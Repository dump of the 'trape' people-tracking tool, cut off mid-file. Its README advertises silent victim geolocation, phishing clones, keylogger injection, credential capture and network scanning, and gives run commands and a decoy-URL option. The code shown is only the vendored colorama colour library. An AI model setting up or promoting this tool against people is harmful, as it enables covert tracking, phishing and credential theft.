├── .gitignore ├── .travis.yml ├── README.md ├── core ├── __init__.py ├── colorama │ ├── .DS_Store │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py ├── db.py ├── dependence │ ├── __init__.py │ └── urllib2.py ├── ngrok.py ├── sockets.py ├── stats.py ├── trape.py ├── user.py ├── user_objects.py └── utils.py ├── requirements.txt ├── static ├── .DS_Store ├── css │ ├── base-icons.css │ ├── fonts │ │ ├── a │ │ │ ├── services.eot │ │ │ ├── services.svg │ │ │ ├── services.ttf │ │ │ └── services.woff │ │ ├── boxicons.eot │ │ ├── boxicons.svg │ │ ├── boxicons.ttf │ │ ├── boxicons.woff │ │ ├── services.eot │ │ ├── services.svg │ │ ├── services.ttf │ │ └── services.woff │ ├── normalize.min.css │ ├── services-icons.css │ └── styles.css ├── files │ └── files.md ├── img │ ├── .DS_Store │ ├── favicon.ico │ ├── favicon.png │ ├── point-blue.svg │ ├── point-red.svg │ └── trape-logo.png └── js │ ├── base.js │ ├── inject.js │ ├── libs.min.js │ ├── login.js │ ├── payload.js │ ├── trape.js │ └── vscript.js ├── templates ├── 404.html ├── home.html └── login.html ├── trape.py └── version.txt /.gitignore: -------------------------------------------------------------------------------- 1 | *.nlog 2 | *.pyc 3 | *.db 4 | *.zip 5 | ngrok* 6 | static/files/* 7 | build/* 8 | dist/* 9 | main.spec 10 | trape.config 11 | *.nlog 12 | *.DS_Store -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 2.7 3 | install: pip install flake8 4 | script: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 5 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | trape (stable) v2.0 2 | ======== 3 | 4 | People tracker on the Internet: Learn to track the world, to avoid being traced. 5 | 6 | --- 7 | Trape is an **OSINT** analysis and research tool, which allows people to track and execute intelligent **social engineering** attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain **confidential information** such as the status of sessions of their websites or services and control their users through their browser, without their knowlege, but It evolves with the aim of helping **government** organizations, companies and **researchers** to track the cybercriminals. 8 | 9 | ![--trape header](https://i.imgur.com/2ycpXEj.png) 10 | 11 | 12 | At the beginning of the year 2018 was presented at **BlackHat Arsenal in Singapore**: https://www.blackhat.com/asia-18/arsenal.html#jose-pino and in multiple security events worldwide. 13 | 14 | Some benefits 15 | ----------- 16 | * **LOCATOR OPTIMIZATION:** Trace the path between you and the target you're tracking. Each time you make a move, the path will be updated, the location of the target is obtained silently through a bypass made in the browsers, allowing you to skip the location request on the victim's side, and at the same time maintain a precision of **99%** in the locator. 17 | 18 | ![](https://lh3.googleusercontent.com/qwq4LzzLTdFGwsGd8C3c9gxbDaN191s7lnvz75y0trwIMUGSaIu22QyBRgwKXxRwLBC5HGekBJLw9qgD5lnxgszcFVqJ24RVqv3q_T3HzD6wJeQU6oY4VVF8QT6Y83hstqD4C020) 19 | * **APPROACH:** When you're close to the target, Trape will tell you. 20 | 21 | ![](https://lh4.googleusercontent.com/NFnVGLoDF2BmM_N56w8Vf6cnyg1WWIIKgGC1MeBTKXxcIynMDfC1ZSu43ftoiYnwcBb2gjpVdS4y0zm5K7XAzvXf7bPIt5ZrWQCEq9eQuN8KL-SRPOtBgIZL53AWkJjwhC4gJUcG) 22 | 23 | * **REST API:** Generates an API (random or custom), and through this you can control and monitor other Web sites on the Internet remotely, getting the traffic of all visitors. 24 | 25 | ![](https://lh6.googleusercontent.com/DtQiYYLoL9di3LPcSSTCZ3AuVMlQaNcDkBdv_fZFX7rztjg_epWmIaA2AlGsWCr5Mwr2nVfLcsg1I5PXEcx87ErLS8JaruvRsEUIkScydXA3JhvbsmJov7qxbKooGgD5u32kmBHW) 26 | 27 | * **PROCESS HOOKS:** Manages social engineering attacks or processes in the target's browser. 28 | 29 | --- **SEVERAL:** You can issue a phishing attack of any domain or service in real time as well as send malicious files to compromise the device of a target. 30 | 31 | 32 | --- **INJECT JS:** You keep the JavaScript code running free in real time, so you can manage the execution of a **keylogger** or your own custom functions in JS which will be reflected in the target's browser. 33 | 34 | --- **SPEECH:** A process of audio creation is maintained which is played in the browser of the target, by means of this you can execute personalized messages in different voices with languages in Spanish and English. 35 | 36 | 37 | 38 | 39 | * **PUBLIC NETWORK TUNNEL:** Trape has its own **API** that is linked to [ngrok.com](https://ngrok.com) to allow the automatic management of public network tunnels; So you can publish the content of your trape server which is executed locally to the Internet, to manage hooks or public attacks. 40 | 41 | ![](https://lh5.googleusercontent.com/_f3zaCeZya_5AKaCoaPexyJVpNA7fiRqYQ9WBRiGLsHcx1W5V61V-VENeIRF2QbqvpenyOJ1AYyreTmOr2MWbf9PYu4qXF-tbYWi7qp6ZWeOwvoG3LYUdpjp3pAK9mIAQZzPJwAO) 42 | 43 | 44 | * **CLICK ATTACK TO GET CREDENTIALS:** Automatically obtains the target credentials, recognizing your connection availability on a social network or Internet service. 45 | 46 | ![](https://lh4.googleusercontent.com/IN8xWfHjGPRQ__-QwTXebG-087m4JzDIVFWtSlUtrnRpDn2d0U1cnQdNGqLQZA35-fneej1iTpkxgHZCq_pWZLlCd1SmyLZ-WJ5Juj2KbtyNbX4jI1oLUtqupxieH91mX65_ZmHy) 47 | 48 | * **NETWORK:** You can get information about the user's network. 49 | 50 | --- **SPEED:** Viewing the target's network speed. (Ping, download, upload, type connection) 51 | 52 | --- **HOSTS OR DEVICES:** Here you can get a scan of all the devices that are connected in the target network automatically. 53 | 54 | ![](https://lh3.googleusercontent.com/gkOWunWn7ge5yJt00lMBN_7GwSUxrAQV2y64ysyrjmD-vz_lO3bu6UkRjPJF8OljxyMTNlWVA9W8gVU3U0iI3RrECNNkr7H44Lz6z5Zj3-bA_hDF5TnTSoV_6584qFvuLkmShTQD) 55 | 56 | 57 | * **PROFILE:** Brief summary of the target's behavior and important additional information about your device. 58 | 59 | --- **GPU** 60 | --- **ENERGY** 61 | 62 | 30-session recognition 63 | ------- 64 | Session recognition is one of trape most interesting attractions, since you as a researcher can know remotely what service the target is connected to. 65 | 66 | ![](https://lh6.googleusercontent.com/IFxIh7Eemr63kycj2eBzJYvevCzLH5DkQGWUKzPx_Okn4WoExPl0LR7Qj-cSc0WF0rs9Ew6DJMwcyirZd0kdfLpdrqQ2700P_xdxW7wpZ7K6OWi8pluLKivHtU45HD4VtyM0lLwh) 67 | 68 | * **USABILITY:** You can delete logs and view alerts for each process or action you run against each target. 69 | 70 | ![](https://lh4.googleusercontent.com/dXx1lRG2z-ZlSIlQyTx_ra7sbkgKG2jeqGjIt86GebFiAaZyFDA4vy3QBLACd-1wOz4zdSIARWvo3hK2mEvrSJ6VPDSiOZgMLB4rUYXKDHrone0xIB3bwhAKPnsJUcuKW9xf_-sG) 71 | 72 | How to use it 73 | ------- 74 | First unload the tool. 75 | ``` 76 | git clone https://github.com/jofpin/trape.git 77 | cd trape 78 | python2 trape.py -h 79 | ``` 80 | If it does not work, try to install all the libraries that are located in the file **requirements.txt** 81 | ``` 82 | python2 -m pip install -r requirements.txt 83 | ``` 84 | 85 | Example of execution 86 | ``` 87 | Example: python2 trape.py --url http://example.com --port 8080 88 | ``` 89 | 90 | **HELP AND OPTIONS** 91 | ``` 92 | user:~$ python2 trape.py --help 93 | usage: python trape.py -u <> -p <> [-h] [-v] [-u URL] [-p PORT] 94 | [-ak ACCESSKEY] [-l LOCAL] 95 | [--update] [-n] [-ic INJC] 96 | 97 | optional arguments: 98 | -h, --help show this help message and exit 99 | -v, --version show program's version number and exit 100 | -u URL, --url URL Put the web page url to clone 101 | -p PORT, --port PORT Insert your port 102 | -ak ACCESSKEY, --accesskey ACCESSKEY 103 | Insert your custom key access 104 | -l LOCAL, --local LOCAL 105 | Insert your home file 106 | -n, --ngrok Insert your ngrok Authtoken 107 | -ic INJC, --injectcode INJC 108 | Insert your custom REST API path 109 | -ud UPDATE, --update UPDATE 110 | Update trape to the latest version 111 | ``` 112 | 113 | **--url** In this option you add the URL you want to clone, which works as a decoy. 114 | 115 | **--port** Here you insert the port, where you are going to run the **trape server**. 116 | 117 | **--accesskey** You enter a custom key for the **trape panel**, if you do not insert it will generate an **automatic key**. 118 | 119 | **--injectcode** trape contains a **REST API** to play anywhere, using this option you can customize the name of the file to include, if it does not, generates a random name allusive to a token. 120 | 121 | **--local** Using this option you can call a local **HTML file**, this is the replacement of the **--url** option made to run a local lure in trape. 122 | 123 | **--ngrok** In this option you can enter a token, to run at the time of a process. This would replace the token saved in configurations. 124 | 125 | **--version** You can see the version number of trape. 126 | 127 | **--update** Option used to upgrade to the latest version of **trape**. 128 | 129 | **--help** It is used to see all the above options, from the executable. 130 | 131 | 132 | Disclaimer 133 | ------- 134 | This tool has been published educational purposes. It is intended to teach people how bad guys could track them, monitor them or obtain information from their credentials, we are not responsible for the use or the scope that someone may have through this project. 135 | 136 | We are totally convinced that if we teach how vulnerable things really are, we can make the Internet a safer place. 137 | 138 | Developer 139 | ------- 140 | This development and others, the participants will be mentioned with name, Twitter and charge. 141 | 142 | * **CREATOR** 143 | 144 | --- Jose Pino - [@jofpin](https://twitter.com/jofpin) - (**Security Researcher**) 145 | 146 | 147 | Happy hacking! 148 | ------- 149 | I invite you, if you use this tool helps to share, collaborate. Let's make the Internet a safer place, let's report. 150 | 151 | 152 | ## License 153 | 154 | The content of this project itself is licensed under the [Creative Commons Attribution 3.0 license](http://creativecommons.org/licenses/by/3.0/us/deed.en_US), and the underlying source code used to format and display that content is licensed under the [MIT license](http://opensource.org/licenses/mit-license.php). 155 | 156 | Copyright, 2018 by [Jose Pino](https://twitter.com/jofpin) 157 | 158 | ------------- 159 | -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /core/colorama/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/blackhatethicalhacking/trape/c715b0e50d1600c6b97492d0ec49d54c0da36756/core/colorama/.DS_Store -------------------------------------------------------------------------------- /core/colorama/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.7' 7 | 8 | -------------------------------------------------------------------------------- /core/colorama/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /core/colorama/ansitowin32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import re 3 | import sys 4 | import os 5 | 6 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style 7 | from .winterm import WinTerm, WinColor, WinStyle 8 | from .win32 import windll, winapi_test 9 | 10 | 11 | winterm = None 12 | if windll is not None: 13 | winterm = WinTerm() 14 | 15 | 16 | def is_stream_closed(stream): 17 | return not hasattr(stream, 'closed') or stream.closed 18 | 19 | 20 | def is_a_tty(stream): 21 | return hasattr(stream, 'isatty') and stream.isatty() 22 | 23 | 24 | class StreamWrapper(object): 25 | ''' 26 | Wraps a stream (such as stdout), acting as a transparent proxy for all 27 | attribute access apart from method 'write()', which is delegated to our 28 | Converter instance. 29 | ''' 30 | def __init__(self, wrapped, converter): 31 | # double-underscore everything to prevent clashes with names of 32 | # attributes on the wrapped stream object. 33 | self.__wrapped = wrapped 34 | self.__convertor = converter 35 | 36 | def __getattr__(self, name): 37 | return getattr(self.__wrapped, name) 38 | 39 | def write(self, text): 40 | self.__convertor.write(text) 41 | 42 | 43 | class AnsiToWin32(object): 44 | ''' 45 | Implements a 'write()' method which, on Windows, will strip ANSI character 46 | sequences from the text, and if outputting to a tty, will convert them into 47 | win32 function calls. 48 | ''' 49 | ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer 50 | ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command 51 | 52 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False): 53 | # The wrapped stream (normally sys.stdout or sys.stderr) 54 | self.wrapped = wrapped 55 | 56 | # should we reset colors to defaults after every .write() 57 | self.autoreset = autoreset 58 | 59 | # create the proxy wrapping our output stream 60 | self.stream = StreamWrapper(wrapped, self) 61 | 62 | on_windows = os.name == 'nt' 63 | # We test if the WinAPI works, because even if we are on Windows 64 | # we may be using a terminal that doesn't support the WinAPI 65 | # (e.g. Cygwin Terminal). In this case it's up to the terminal 66 | # to support the ANSI codes. 67 | conversion_supported = on_windows and winapi_test() 68 | 69 | # should we strip ANSI sequences from our output? 70 | if strip is None: 71 | strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped)) 72 | self.strip = strip 73 | 74 | # should we should convert ANSI sequences into win32 calls? 75 | if convert is None: 76 | convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped) 77 | self.convert = convert 78 | 79 | # dict of ansi codes to win32 functions and parameters 80 | self.win32_calls = self.get_win32_calls() 81 | 82 | # are we wrapping stderr? 83 | self.on_stderr = self.wrapped is sys.stderr 84 | 85 | def should_wrap(self): 86 | ''' 87 | True if this class is actually needed. If false, then the output 88 | stream will not be affected, nor will win32 calls be issued, so 89 | wrapping stdout is not actually required. This will generally be 90 | False on non-Windows platforms, unless optional functionality like 91 | autoreset has been requested using kwargs to init() 92 | ''' 93 | return self.convert or self.strip or self.autoreset 94 | 95 | def get_win32_calls(self): 96 | if self.convert and winterm: 97 | return { 98 | AnsiStyle.RESET_ALL: (winterm.reset_all, ), 99 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), 100 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), 101 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), 102 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), 103 | AnsiFore.RED: (winterm.fore, WinColor.RED), 104 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), 105 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), 106 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), 107 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), 108 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), 109 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY), 110 | AnsiFore.RESET: (winterm.fore, ), 111 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True), 112 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True), 113 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True), 114 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True), 115 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True), 116 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True), 117 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True), 118 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True), 119 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK), 120 | AnsiBack.RED: (winterm.back, WinColor.RED), 121 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN), 122 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), 123 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE), 124 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), 125 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN), 126 | AnsiBack.WHITE: (winterm.back, WinColor.GREY), 127 | AnsiBack.RESET: (winterm.back, ), 128 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True), 129 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True), 130 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True), 131 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True), 132 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True), 133 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True), 134 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True), 135 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True), 136 | } 137 | return dict() 138 | 139 | def write(self, text): 140 | if self.strip or self.convert: 141 | self.write_and_convert(text) 142 | else: 143 | self.wrapped.write(text) 144 | self.wrapped.flush() 145 | if self.autoreset: 146 | self.reset_all() 147 | 148 | 149 | def reset_all(self): 150 | if self.convert: 151 | self.call_win32('m', (0,)) 152 | elif not self.strip and not is_stream_closed(self.wrapped): 153 | self.wrapped.write(Style.RESET_ALL) 154 | 155 | 156 | def write_and_convert(self, text): 157 | ''' 158 | Write the given text to our wrapped stream, stripping any ANSI 159 | sequences from the text, and optionally converting them into win32 160 | calls. 161 | ''' 162 | cursor = 0 163 | text = self.convert_osc(text) 164 | for match in self.ANSI_CSI_RE.finditer(text): 165 | start, end = match.span() 166 | self.write_plain_text(text, cursor, start) 167 | self.convert_ansi(*match.groups()) 168 | cursor = end 169 | self.write_plain_text(text, cursor, len(text)) 170 | 171 | 172 | def write_plain_text(self, text, start, end): 173 | if start < end: 174 | self.wrapped.write(text[start:end]) 175 | self.wrapped.flush() 176 | 177 | 178 | def convert_ansi(self, paramstring, command): 179 | if self.convert: 180 | params = self.extract_params(command, paramstring) 181 | self.call_win32(command, params) 182 | 183 | 184 | def extract_params(self, command, paramstring): 185 | if command in 'Hf': 186 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';')) 187 | while len(params) < 2: 188 | # defaults: 189 | params = params + (1,) 190 | else: 191 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0) 192 | if len(params) == 0: 193 | # defaults: 194 | if command in 'JKm': 195 | params = (0,) 196 | elif command in 'ABCD': 197 | params = (1,) 198 | 199 | return params 200 | 201 | 202 | def call_win32(self, command, params): 203 | if command == 'm': 204 | for param in params: 205 | if param in self.win32_calls: 206 | func_args = self.win32_calls[param] 207 | func = func_args[0] 208 | args = func_args[1:] 209 | kwargs = dict(on_stderr=self.on_stderr) 210 | func(*args, **kwargs) 211 | elif command in 'J': 212 | winterm.erase_screen(params[0], on_stderr=self.on_stderr) 213 | elif command in 'K': 214 | winterm.erase_line(params[0], on_stderr=self.on_stderr) 215 | elif command in 'Hf': # cursor position - absolute 216 | winterm.set_cursor_position(params, on_stderr=self.on_stderr) 217 | elif command in 'ABCD': # cursor position - relative 218 | n = params[0] 219 | # A - up, B - down, C - forward, D - back 220 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command] 221 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr) 222 | 223 | 224 | def convert_osc(self, text): 225 | for match in self.ANSI_OSC_RE.finditer(text): 226 | start, end = match.span() 227 | text = text[:start] + text[end:] 228 | paramstring, command = match.groups() 229 | if command in '\x07': # \x07 = BEL 230 | params = paramstring.split(";") 231 | # 0 - change title and icon (we will only change title) 232 | # 1 - change icon (we don't support this) 233 | # 2 - change title 234 | if params[0] in '02': 235 | winterm.set_title(params[1]) 236 | return text 237 | -------------------------------------------------------------------------------- /core/colorama/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | 82 | 83 | -------------------------------------------------------------------------------- /core/colorama/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleA 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | handles = { 93 | STDOUT: _GetStdHandle(STDOUT), 94 | STDERR: _GetStdHandle(STDERR), 95 | } 96 | 97 | def winapi_test(): 98 | handle = handles[STDOUT] 99 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 100 | success = _GetConsoleScreenBufferInfo( 101 | handle, byref(csbi)) 102 | return bool(success) 103 | 104 | def GetConsoleScreenBufferInfo(stream_id=STDOUT): 105 | handle = handles[stream_id] 106 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 107 | success = _GetConsoleScreenBufferInfo( 108 | handle, byref(csbi)) 109 | return csbi 110 | 111 | def SetConsoleTextAttribute(stream_id, attrs): 112 | handle = handles[stream_id] 113 | return _SetConsoleTextAttribute(handle, attrs) 114 | 115 | def SetConsoleCursorPosition(stream_id, position, adjust=True): 116 | position = COORD(*position) 117 | # If the position is out of range, do nothing. 118 | if position.Y <= 0 or position.X <= 0: 119 | return 120 | # Adjust for Windows' SetConsoleCursorPosition: 121 | # 1. being 0-based, while ANSI is 1-based. 122 | # 2. expecting (x,y), while ANSI uses (y,x). 123 | adjusted_position = COORD(position.Y - 1, position.X - 1) 124 | if adjust: 125 | # Adjust for viewport's scroll position 126 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow 127 | adjusted_position.Y += sr.Top 128 | adjusted_position.X += sr.Left 129 | # Resume normal processing 130 | handle = handles[stream_id] 131 | return _SetConsoleCursorPosition(handle, adjusted_position) 132 | 133 | def FillConsoleOutputCharacter(stream_id, char, length, start): 134 | handle = handles[stream_id] 135 | char = c_char(char.encode()) 136 | length = wintypes.DWORD(length) 137 | num_written = wintypes.DWORD(0) 138 | # Note that this is hard-coded for ANSI (vs wide) bytes. 139 | success = _FillConsoleOutputCharacterA( 140 | handle, char, length, start, byref(num_written)) 141 | return num_written.value 142 | 143 | def FillConsoleOutputAttribute(stream_id, attr, length, start): 144 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' 145 | handle = handles[stream_id] 146 | 